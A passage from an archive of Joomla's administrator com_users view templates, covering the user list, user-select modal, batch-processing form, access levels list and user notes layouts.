                                       title="<?php echo Text::_('JACTION_DELETE') ?> <?php echo $this->escape($record->title); ?>">
                                        <span class="icon icon-trash" aria-hidden="true"></span>
                                        <span class="visually-hidden"><?php echo Text::_('JACTION_DELETE') ?> <?php echo $this->escape($record->title); ?></span>
                                    </a>
                                    <?php endif; ?>
                                </div>
                                <?php endif; ?>
                            </div>
                        <?php endforeach; ?>
                    </div>
                <?php endif; ?>

                <?php if ($canAddEdit && (empty($method['active']) || $method['allowMultiple'])) : ?>
                    <div class="com-users-methods-list-method-addnew-container border-top pt-2">
                        <a href="<?php echo Route::_('index.php?option=com_users&task=method.add&method=' . $this->escape(urlencode($method['name'])) . ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') . '&user_id=' . $this->user->id)?>"
                           class="com-users-methods-list-method-addnew btn btn-outline-primary btn-sm"
                        >
                            <span class="icon-plus-2" aria-hidden="true"></span>
                            <?php echo Text::sprintf('COM_USERS_MFA_ADD_AUTHENTICATOR_OF_TYPE', $method['display']) ?>
                        </a>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    <?php endforeach; ?>
</div>
users/default_batch_footer.php000064400000001207151726443510012571 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" onclick="document.getElementById('batch-group-id').value=''" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('user.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
users/modal.php000064400000013553151726443510007531 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('multiselect');

$input           = Factory::getApplication()->getInput();
$field           = $input->getCmd('field');
$listOrder       = $this->escape($this->state->get('list.ordering'));
$listDirn        = $this->escape($this->state->get('list.direction'));
$enabledStates   = [0 => 'icon-check', 1 => 'icon-times'];
$activatedStates = [0 => 'icon-check', 1 => 'icon-times'];
$userRequired    = (int) $input->get('required', 0, 'int');
$onClick         = "window.parent.jSelectUser(this);window.parent.Joomla.Modal.getCurrent().close()";

?>
<div class="container-popup">
    <form action="<?php echo Route::_('index.php?option=com_users&view=users&layout=modal&tmpl=component&groups=' . $input->get('groups', '', 'BASE64') . '&excluded=' . $input->get('excluded', '', 'BASE64')); ?>" method="post" name="adminForm" id="adminForm">
        <?php if (!$userRequired) : ?>
        <div>
            <button type="button" class="btn btn-primary button-select" data-user-value="0" data-user-name="<?php echo $this->escape(Text::_('JLIB_FORM_SELECT_USER')); ?>"
                data-user-field="<?php echo $this->escape($field); ?>"><?php echo Text::_('JOPTION_NO_USER'); ?></button>&nbsp;
        </div>
        <?php endif; ?>
        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
        <table class="table table-sm">
            <caption class="visually-hidden">
                <?php echo Text::_('COM_USERS_USERS_TABLE_CAPTION'); ?>,
                <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
            </caption>
            <thead>
                <tr>
                    <th scope="col">
                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_NAME', 'a.name', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="w-25">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_USERNAME', 'a.username', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="w-1 text-center">
                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_ENABLED', 'a.block', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="w-1 text-center">
                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_ACTIVATED', 'a.activation', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="w-25">
                        <?php echo Text::_('COM_USERS_HEADING_GROUPS'); ?>
                    </th>
                    <th scope="col" class="w-1">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                    </th>
                </tr>
            </thead>
            <tbody>
                <?php $i = 0; ?>
                <?php foreach ($this->items as $item) : ?>
                    <tr class="row<?php echo $i % 2; ?>">
                        <th scope="row">
                            <a class="pointer button-select" href="#" data-user-value="<?php echo $item->id; ?>" data-user-name="<?php echo $this->escape($item->name); ?>"
                                data-user-field="<?php echo $this->escape($field); ?>">
                                <?php echo $this->escape($item->name); ?>
                            </a>
                        </th>
                        <td>
                            <?php echo $this->escape($item->username); ?>
                        </td>
                        <td class="text-center">
                            <span class="tbody-icon">
                                <span class="<?php echo $enabledStates[(int) $this->escape($item->block)]; ?>"></span>
                            </span>
                        </td>
                        <td class="text-center">
                            <span class="tbody-icon">
                                <span class="<?php echo $activatedStates[(empty($item->activation) ? 0 : 1)]; ?>"></span>
                            </span>
                        </td>
                        <td>
                            <?php echo nl2br($item->group_names, false); ?>
                        </td>
                        <td>
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>
        <input type="hidden" name="task" value="">
        <input type="hidden" name="field" value="<?php echo $this->escape($field); ?>">
        <input type="hidden" name="boxchecked" value="0">
        <input type="hidden" name="required" value="<?php echo $userRequired; ?>">
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
users/default.xml000064400000000310151726443510010055 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_USERS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_USERS_USERS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
users/default.php000064400000035507151726443510010064 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\String\PunycodeHelper;

/** @var \Joomla\Component\Users\Administrator\View\Users\HtmlView $this */


/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$loggeduser = Factory::getUser();
$mfa        = PluginHelper::isEnabled('multifactorauth');

?>
<form action="<?php echo Route::_('index.php?option=com_users&view=users'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php
                // Search tools bar
                echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
                ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="userList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_USERS_USERS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_NAME', 'a.name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_USERNAME', 'a.username', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-5 text-center d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_ENABLED', 'a.block', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-5 text-center d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_ACTIVATED', 'a.activation', $listDirn, $listOrder); ?>
                                </th>
                                <?php if ($mfa) : ?>
                                <th scope="col" class="w-5 text-center d-none d-md-table-cell">
                                    <?php echo Text::_('COM_USERS_HEADING_MFA'); ?>
                                </th>
                                <?php endif; ?>
                                <th scope="col" class="w-12 d-none d-md-table-cell">
                                    <?php echo Text::_('COM_USERS_HEADING_GROUPS'); ?>
                                </th>
                                <th scope="col" class="w-12 d-none d-xl-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_EMAIL', 'a.email', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-12 d-none d-xl-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_LAST_VISIT_DATE', 'a.lastvisitDate', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-12 d-none d-xl-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_REGISTRATION_DATE', 'a.registerDate', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-5 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                        <?php foreach ($this->items as $i => $item) :
                            $canEdit   = $this->canDo->get('core.edit');
                            $canChange = $loggeduser->authorise('core.edit.state', 'com_users');

                            // If this group is super admin and this user is not super admin, $canEdit is false
                            if ((!$loggeduser->authorise('core.admin')) && Access::check($item->id, 'core.admin')) {
                                $canEdit   = false;
                                $canChange = false;
                            }
                            ?>
                            <tr class="row<?php echo $i % 2; ?>">
                                <td class="text-center">
                                    <?php if ($canEdit || $canChange) : ?>
                                        <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->name); ?>
                                    <?php endif; ?>
                                </td>
                                <th scope="row">
                                    <div class="name break-word">
                                    <?php if ($canEdit) : ?>
                                        <a href="<?php echo Route::_('index.php?option=com_users&task=user.edit&id=' . (int) $item->id); ?>" title="<?php echo Text::sprintf('COM_USERS_EDIT_USER', $this->escape($item->name)); ?>">
                                            <?php echo $this->escape($item->name); ?></a>
                                    <?php else : ?>
                                        <?php echo $this->escape($item->name); ?>
                                    <?php endif; ?>
                                    </div>
                                    <div class="btn-group">
                                        <?php echo HTMLHelper::_('users.addNote', $item->id); ?>
                                        <?php if ($item->note_count > 0) : ?>
                                        <button type="button" class="btn btn-secondary btn-sm dropdown-toggle dropdown-toggle-split" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                                            <span class="visually-hidden"><?php echo Text::_('JGLOBAL_TOGGLE_DROPDOWN'); ?></span>
                                        </button>
                                        <div class="dropdown-menu">
                                            <?php echo HTMLHelper::_('users.filterNotes', $item->note_count, $item->id); ?>
                                            <?php echo HTMLHelper::_('users.notes', $item->note_count, $item->id); ?>
                                        </div>
                                        <?php endif; ?>
                                    </div>
                                    <?php echo HTMLHelper::_('users.notesModal', $item->note_count, $item->id); ?>
                                    <?php if ($item->requireReset == '1') : ?>
                                        <span class="badge bg-warning text-dark"><?php echo Text::_('COM_USERS_PASSWORD_RESET_REQUIRED'); ?></span>
                                    <?php endif; ?>
                                </th>
                                <td class="break-word d-none d-md-table-cell">
                                    <?php echo $this->escape($item->username); ?>
                                </td>
                                <td class="text-center d-md-table-cell">
                                    <?php $self = $loggeduser->id == $item->id; ?>
                                    <?php if ($canChange) : ?>
                                        <?php echo HTMLHelper::_('jgrid.state', HTMLHelper::_('users.blockStates', $self), $item->block, $i, 'users.', !$self); ?>
                                    <?php else : ?>
                                        <?php echo HTMLHelper::_('jgrid.state', HTMLHelper::_('users.blockStates', $self), $item->block, $i, 'users.', false); ?>
                                    <?php endif; ?>
                                </td>
                                <td class="text-center d-md-table-cell">
                                    <?php if (empty($item->activation)) : ?>
                                        <span class="icon-check" aria-hidden="true" aria-describedby="tip-activated<?php echo $i; ?>"></span>
                                        <div role="tooltip" id="tip-activated<?php echo $i; ?>">
                                            <?php echo Text::_('COM_USERS_ACTIVATED'); ?>
                                        </div>
                                    <?php else : ?>
                                        <?php echo HTMLHelper::_('jgrid.state', HTMLHelper::_('users.activateStates'), 1, $i, 'users.', true); ?>
                                    <?php endif; ?>
                                </td>
                                <?php if ($mfa) : ?>
                                <td class="text-center d-none d-md-table-cell">
                                    <?php if ($item->mfaRecords > 0 || !empty($item->otpKey)) : ?>
                                        <span class="icon-check" aria-hidden="true" aria-describedby="tip-mfa<?php echo $i; ?>"></span>
                                        <div role="tooltip" id="tip-mfa<?php echo $i; ?>">
                                            <?php echo Text::_('COM_USERS_MFA_ACTIVE'); ?>
                                        </div>
                                    <?php else : ?>
                                        <span class="icon-times" aria-hidden="true" aria-describedby="tip-mfa<?php echo $i; ?>"></span>
                                        <div role="tooltip" id="tip-mfa<?php echo $i; ?>">
                                            <?php echo Text::_('COM_USERS_MFA_NOTACTIVE'); ?>
                                        </div>
                                    <?php endif; ?>
                                </td>
                                <?php endif; ?>
                                <td class="d-none d-md-table-cell">
                                    <?php if (substr_count($item->group_names, "\n") > 1) : ?>
                                        <span tabindex="0"><?php echo Text::_('COM_USERS_USERS_MULTIPLE_GROUPS'); ?></span>
                                        <div role="tooltip" id="tip<?php echo $i; ?>">
                                            <strong><?php echo Text::_('COM_USERS_HEADING_GROUPS'); ?></strong>
                                            <ul><li><?php echo str_replace("\n", '</li><li>', $item->group_names); ?></li></ul>
                                        </div>
                                    <?php else : ?>
                                        <?php echo nl2br($item->group_names, false); ?>
                                    <?php endif; ?>
                                    <a  class="btn btn-sm btn-secondary"
                                        href="<?php echo Route::_('index.php?option=com_users&view=debuguser&user_id=' . (int) $item->id); ?>">
                                        <?php echo Text::_('COM_USERS_DEBUG_PERMISSIONS'); ?>
                                    </a>
                                </td>
                                <td class="d-none d-xl-table-cell break-word">
                                    <?php echo $this->escape(PunycodeHelper::emailToUTF8($item->email)); ?>
                                </td>
                                <td class="d-none d-xl-table-cell">
                                    <?php if ($item->lastvisitDate !== null) : ?>
                                        <?php echo HTMLHelper::_('date', $item->lastvisitDate, Text::_('DATE_FORMAT_LC6')); ?>
                                    <?php else : ?>
                                        <?php echo Text::_('JNEVER'); ?>
                                    <?php endif; ?>
                                </td>
                                <td class="d-none d-xl-table-cell">
                                    <?php echo HTMLHelper::_('date', $item->registerDate, Text::_('DATE_FORMAT_LC6')); ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo (int) $item->id; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                    <?php // Load the batch processing form if user is allowed ?>
                    <?php
                    if (
                        $loggeduser->authorise('core.create', 'com_users')
                        && $loggeduser->authorise('core.edit', 'com_users')
                        && $loggeduser->authorise('core.edit.state', 'com_users')
                    ) : ?>
                        <?php echo HTMLHelper::_(
                            'bootstrap.renderModal',
                            'collapseModal',
                            [
                                'title'  => Text::_('COM_USERS_BATCH_OPTIONS'),
                                'footer' => $this->loadTemplate('batch_footer'),
                            ],
                            $this->loadTemplate('batch_body')
                        ); ?>
                    <?php endif; ?>
                <?php endif; ?>

                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
users/default_batch_body.php000064400000004475151726443510012242 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

// Create the copy/move options.
$options = [
    HTMLHelper::_('select.option', 'add', Text::_('COM_USERS_BATCH_ADD')),
    HTMLHelper::_('select.option', 'del', Text::_('COM_USERS_BATCH_DELETE')),
    HTMLHelper::_('select.option', 'set', Text::_('COM_USERS_BATCH_SET'))
];

// Create the reset password options.
$resetOptions = [
    HTMLHelper::_('select.option', '', Text::_('COM_USERS_NO_ACTION')),
    HTMLHelper::_('select.option', 'yes', Text::_('JYES')),
    HTMLHelper::_('select.option', 'no', Text::_('JNO'))
];

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('joomla.batch-copymove');

?>

<div class="p-3">
    <form>
        <div class="form-group">
            <label id="batch-choose-action-lbl" class="control-label" for="batch-group-id">
                <?php echo Text::_('COM_USERS_BATCH_GROUP'); ?>
            </label>
            <div id="batch-choose-action" class="combo controls">
                <select class="form-select" name="batch[group_id]" id="batch-group-id">
                    <option value=""><?php echo Text::_('JSELECT'); ?></option>
                    <?php echo HTMLHelper::_('select.options', HTMLHelper::_('user.groups')); ?>
                </select>
            </div>
        </div>
        <div class="form-group">
            <fieldset>
                <legend>
                    <?php echo Text::_('COM_USERS_BATCH_ACTIONS'); ?>
                </legend>
                <?php echo HTMLHelper::_('select.radiolist', $options, 'batch[group_action]', '', 'value', 'text', 'add'); ?>
            </fieldset>
        </div>
        <div class="form-group">
            <fieldset id="batch-password-reset_id">
                <legend>
                    <?php echo Text::_('COM_USERS_REQUIRE_PASSWORD_RESET'); ?>
                </legend>
                <?php echo HTMLHelper::_('select.radiolist', $resetOptions, 'batch[reset_id]', '', 'value', 'text', ''); ?>
            </fieldset>
        </div>
    </form>
</div>
levels/default.php000064400000017477151726443510010223 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Users\Administrator\Helper\UsersHelper;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user       = Factory::getUser();
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$saveOrder  = $listOrder == 'a.ordering';

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_users&task=levels.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_users&view=levels'); ?>" method="post" id="adminForm" name="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this, 'options' => ['filterButton' => false]]); ?>

                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="levelList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_USERS_LEVELS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_LEVEL_NAME', 'a.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo Text::_('COM_USERS_USER_GROUPS_HAVING_ACCESS'); ?>
                                </th>
                                <th scope="col" class="w-1 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody<?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>"<?php
                              endif; ?>>
                        <?php $count = count($this->items); ?>
                        <?php foreach ($this->items as $i => $item) :
                            $ordering  = ($listOrder == 'a.ordering');
                            $canCreate = $user->authorise('core.create', 'com_users');
                            $canEdit   = $user->authorise('core.edit', 'com_users');
                            $canChange = $user->authorise('core.edit.state', 'com_users');

                            // Decode level groups
                            $groups = json_decode($item->rules);

                            // If this group is super admin and this user is not super admin, $canEdit is false
                            if (!Factory::getUser()->authorise('core.admin') && $groups && Access::checkGroup($groups[0], 'core.admin')) {
                                $canEdit   = false;
                                $canChange = false;
                            }
                            ?>
                            <tr class="row<?php echo $i % 2; ?>">
                                <td class="text-center">
                                    <?php if ($canEdit) : ?>
                                        <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                                    <?php endif; ?>
                                </td>
                                <td class="text-center d-none d-md-table-cell">
                                    <?php
                                    $iconClass = '';
                                    if (!$canChange) {
                                        $iconClass = ' inactive';
                                    } elseif (!$saveOrder) {
                                        $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                    }
                                    ?>
                                    <span class="sortable-handler<?php echo $iconClass ?>">
                                        <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                    </span>
                                    <?php if ($canChange && $saveOrder) : ?>
                                        <input type="text" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                                    <?php endif; ?>
                                </td>
                                <th scope="row">
                                    <?php if ($canEdit) : ?>
                                    <a href="<?php echo Route::_('index.php?option=com_users&task=level.edit&id=' . $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                        <?php echo $this->escape($item->title); ?></a>
                                    <?php else : ?>
                                        <?php echo $this->escape($item->title); ?>
                                    <?php endif; ?>
                                </th>
                                <td class="d-none d-md-table-cell">
                                    <?php echo UsersHelper::getVisibleByGroups($item->rules); ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo (int) $item->id; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
levels/default.xml000064400000000312151726443510010210 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_LEVELS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_USERS_LEVELS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
note/edit.php000064400000003270151726443510007161 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<form action="<?php echo Route::_('index.php?option=com_users&view=note&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="note-form" aria-label="<?php echo Text::_('COM_USERS_NOTE_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">
    <fieldset class="adminform">
    <div class="card mt-4">
        <div class="card-body">
            <div class="row">
                <div class="form-grid">
                <?php echo $this->form->renderField('subject'); ?>
                <?php echo $this->form->renderField('user_id'); ?>
                <?php echo $this->form->renderField('catid'); ?>
                <?php echo $this->form->renderField('state'); ?>
                <?php echo $this->form->renderField('review_time'); ?>
                <?php echo $this->form->renderField('version_note'); ?>


                <input type="hidden" name="task" value="">
                <?php echo HTMLHelper::_('form.token'); ?>
                </div>
                <div class="col-12">
                    <?php echo $this->form->renderField('body'); ?>
                </div>
            </div>
        </div>
    </div>
    </fieldset>
</form>
note/edit.xml000064400000000300151726443510007161 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_NOTE_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_USERS_NOTE_VIEW_EDIT_DESC]]>
		</message>
	</layout>
</metadata>
notes/modal.php000064400000003644151726443510007520 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

?>
<div class="unotes">
    <h1><?php echo Text::sprintf('COM_USERS_NOTES_FOR_USER', $this->user->name, $this->user->id); ?></h1>
<?php if (empty($this->items)) : ?>
    <?php echo Text::_('COM_USERS_NO_NOTES'); ?>
<?php else : ?>
    <ul class="alternating">
    <?php foreach ($this->items as $item) : ?>
        <li>
            <div class="fltlft utitle">
                <?php if ($item->subject) : ?>
                    <h4><?php echo Text::sprintf('COM_USERS_NOTE_N_SUBJECT', (int) $item->id, $this->escape($item->subject)); ?></h4>
                <?php else : ?>
                    <h4><?php echo Text::sprintf('COM_USERS_NOTE_N_SUBJECT', (int) $item->id, Text::_('COM_USERS_EMPTY_SUBJECT')); ?></h4>
                <?php endif; ?>
            </div>

            <div class="fltlft utitle">
                <?php echo HTMLHelper::_('date', $item->created_time, Text::_('DATE_FORMAT_LC2')); ?>
            </div>

            <?php $category_image = $item->cparams->get('image'); ?>

            <?php if ($item->catid && isset($category_image)) : ?>
            <div class="fltlft utitle">
                <?php echo HTMLHelper::_('users.image', $category_image); ?>
            </div>

            <div class="fltlft utitle">
                <em><?php echo $this->escape($item->category_title); ?></em>
            </div>
            <?php endif; ?>

            <div class="clr"></div>
            <div class="ubody">
                <?php echo (isset($item->body) ? HTMLHelper::_('content.prepare', $item->body) : ''); ?>
            </div>
        </li>
    <?php endforeach; ?>
    </ul>
<?php endif; ?>
</div>
notes/emptystate.php000064400000001445151726443510010620 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_USERS_NOTES',
    'formURL'    => 'index.php?option=com_users&view=notes',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help40:User_Notes',
    'icon'       => 'icon-users user',
];

if (Factory::getApplication()->getIdentity()->authorise('core.create', 'com_users')) {
    $displayData['createURL'] = 'index.php?option=com_users&task=note.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
notes/default.php000064400000015712151726443510010047 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
